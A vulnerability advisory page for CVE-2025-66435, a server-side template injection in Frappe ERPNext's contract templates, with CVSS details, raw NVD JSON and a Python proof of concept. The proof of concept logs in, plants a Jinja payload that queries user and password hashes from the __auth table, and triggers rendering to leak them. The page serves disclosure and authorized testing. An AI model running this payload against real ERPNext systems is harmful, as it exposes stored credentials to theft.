Security Vulnerability Report
中文
CVE-2025-66435 CVSS 4.3 MEDIUM

CVE-2025-66435

Published: 2025-12-15 17:15:54
Last Modified: 2025-12-23 17:56:57

Description

An SSTI (Server-Side Template Injection) vulnerability exists in the get_contract_template method of Frappe ERPNext through 15.89.0. The function renders attacker-controlled Jinja2 templates (contract_terms) using frappe.render_template() with a user-supplied context (doc). Although Frappe uses a custom SandboxedEnvironment, several dangerous globals such as frappe.db.sql are still available in the execution context via get_safe_globals(). An authenticated attacker with access to create or modify a Contract Template can inject arbitrary Jinja expressions into the contract_terms field, resulting in server-side code execution within a restricted but still unsafe context. This vulnerability can be used to leak database information.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:frappe:erpnext:*:*:*:*:*:*:*:* - VULNERABLE
Frappe ERPNext < 15.89.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66435 SSTI PoC for Frappe ERPNext # Target: Frappe ERPNext < 15.89.0 # Attack Vector: Inject Jinja2 payload in contract_terms field import requests import json TARGET_URL = "https://erpnext.example.com" USERNAME = "[email protected]" PASSWORD = "password123" # Step 1: Login to get session cookie session = requests.Session() login_url = f"{TARGET_URL}/api/method/login" login_data = { "usr": USERNAME, "pwd": PASSWORD } response = session.post(login_url, json=login_data) if response.status_code != 200: print("[-] Login failed") exit(1) print("[+] Login successful") # Step 2: Create or modify Contract Template with SSTI payload template_url = f"{TARGET_URL}/api/resource/Contract Template" # SSTI payload to leak database info via frappe.db.sql ssti_payload = """ {{ frappe.db.sql("SELECT user, password FROM __auth LIMIT 1") }} """ template_data = { "doctype": "Contract Template", "title": "Malicious Template", "contract_terms": ssti_payload } response = session.post(template_url, json=template_data) if response.status_code in [200, 201]: print("[+] Malicious template created") print(f"[+] Template ID: {response.json().get('data', {}).get('name')}") # Step 3: Trigger template rendering via get_contract_template render_url = f"{TARGET_URL}/api/method/erpnext.setup.doctype.contract_template.contract_template.get_contract_template" render_data = { "doc": { "doctype": "Contract", "contract_template": response.json().get('data', {}).get('name') } } response = session.post(render_url, json=render_data) print("[+] Template rendered") print(f"[+] Response: {response.text}") else: print(f"[-] Template creation failed: {response.status_code}") print(f"[-] Response: {response.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66435", "sourceIdentifier": "[email protected]", "published": "2025-12-15T17:15:53.853", "lastModified": "2025-12-23T17:56:56.510", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An SSTI (Server-Side Template Injection) vulnerability exists in the get_contract_template method of Frappe ERPNext through 15.89.0. The function renders attacker-controlled Jinja2 templates (contract_terms) using frappe.render_template() with a user-supplied context (doc). Although Frappe uses a custom SandboxedEnvironment, several dangerous globals such as frappe.db.sql are still available in the execution context via get_safe_globals(). An authenticated attacker with access to create or modify a Contract Template can inject arbitrary Jinja expressions into the contract_terms field, resulting in server-side code execution within a restricted but still unsafe context. This vulnerability can be used to leak database information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1336"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:erpnext:*:*:*:*:*:*:*:*", "versionEndIncluding": "15.89.0", "matchCriteriaId": "DAA2FB4F-48C5-4BA5-A15F-175B8A752866"}]}]}], "references": [{"url": "https://iamanc.github.io/post/erpnext-ssti-bug-2", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.notion.so/SSTI-bug-2-239e6086eadc80878e8fcc7b6c26a584?source=copy_link", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}